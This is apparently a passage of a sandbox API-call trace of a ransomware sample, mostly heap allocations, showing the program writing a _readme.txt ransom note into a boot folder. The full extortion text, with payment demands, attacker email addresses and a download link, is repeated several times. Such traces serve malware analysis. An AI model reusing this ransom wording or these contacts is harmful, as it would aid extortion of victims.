HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.366] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.366] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.367] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.367] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3247f78 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x3247f78 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.368] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.368] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.369] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.369] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.369] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.369] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.369] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.369] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.369] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.369] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x3260140 [0066.369] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x3247f78 [0066.369] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.369] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.369] PathFindFileNameW (pszPath="C:\\Boot\\da-DK\\") returned="da-DK\\" [0066.369] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0066.369] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eac0 | out: hHeap=0x5d0000) returned 1 [0066.369] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0066.369] PathFindFileNameW (pszPath="") returned="" [0066.369] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0066.369] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0066.370] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3178dd8 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0066.370] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0066.370] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3260140 | out: hHeap=0x5d0000) returned 1 [0066.370] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.370] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.370] PathAppendW (in: pszPath="C:\\Boot\\da-DK\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 1 [0066.370] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.370] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.370] PathFileExistsW (pszPath="C:\\Boot\\da-DK\\_readme.txt") returned 0 [0066.370] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x7d00) returned 0x32b2f40 [0066.370] lstrcpyW (in: lpString1=0x32b2f40, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg" [0066.370] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg", lpString2="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb" [0066.370] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x3248800 [0066.370] CreateFileW (lpFileName="C:\\Boot\\da-DK\\_readme.txt" (normalized: "c:\\boot\\da-dk\\_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0066.370] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8c0) returned 0x3178dd8 [0066.371] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x85c) returned 0x329cf20 [0066.371] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x329cf20, cbMultiByte=2140, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 1117 [0066.371] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3177118 [0066.371] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x329cf20 | out: hHeap=0x5d0000) returned 1 [0066.371] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0066.371] lstrlenA (lpString="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-2P5WrE5b9f\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\ngorentos2@firemail.cc\r\n\r\nYour personal ID:\r\n131ASd734yihjkdfg81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb") returned 1116 [0066.371] WriteFile (in: hFile=0x5c4, lpBuffer=0x3177118*, nNumberOfBytesToWrite=0x45c, lpNumberOfBytesWritten=0x38cfb64, lpOverlapped=0x0 | out: lpBuffer=0x3177118*, lpNumberOfBytesWritten=0x38cfb64*=0x45c, lpOverlapped=0x0) returned 1 [0066.372] CloseHandle (hObject=0x5c4) returned 1 [0066.372] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0066.372] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3248800 | out: hHeap=0x5d0000) returned 1 [0066.372] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32b2f40 | out: hHeap=0x5d0000) returned 1 [0066.372] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3247f78 | out: hHeap=0x5d0000) returned 1 [0066.372] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.372] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0066.372] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.372] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0066.372] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0066.372] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb318dc10, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 1 [0066.372] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb318dc10, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb318dc10, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0xb318dc10, ftLastWriteTime.dwHighDateTime=0x1d54670, nFileSizeHigh=0x0, nFileSizeLow=0x45c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_readme.txt", cAlternateFileName="")) returned 0 [0066.372] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0066.372] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.372] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32602f8 | out: hHeap=0x5d0000) returned 1 [0066.372] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x32602f8 [0066.372] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0066.372] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.372] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0066.372] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325f920 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0066.373] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325f920 | out: hHeap=0x5d0000) returned 1 [0066.373] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) 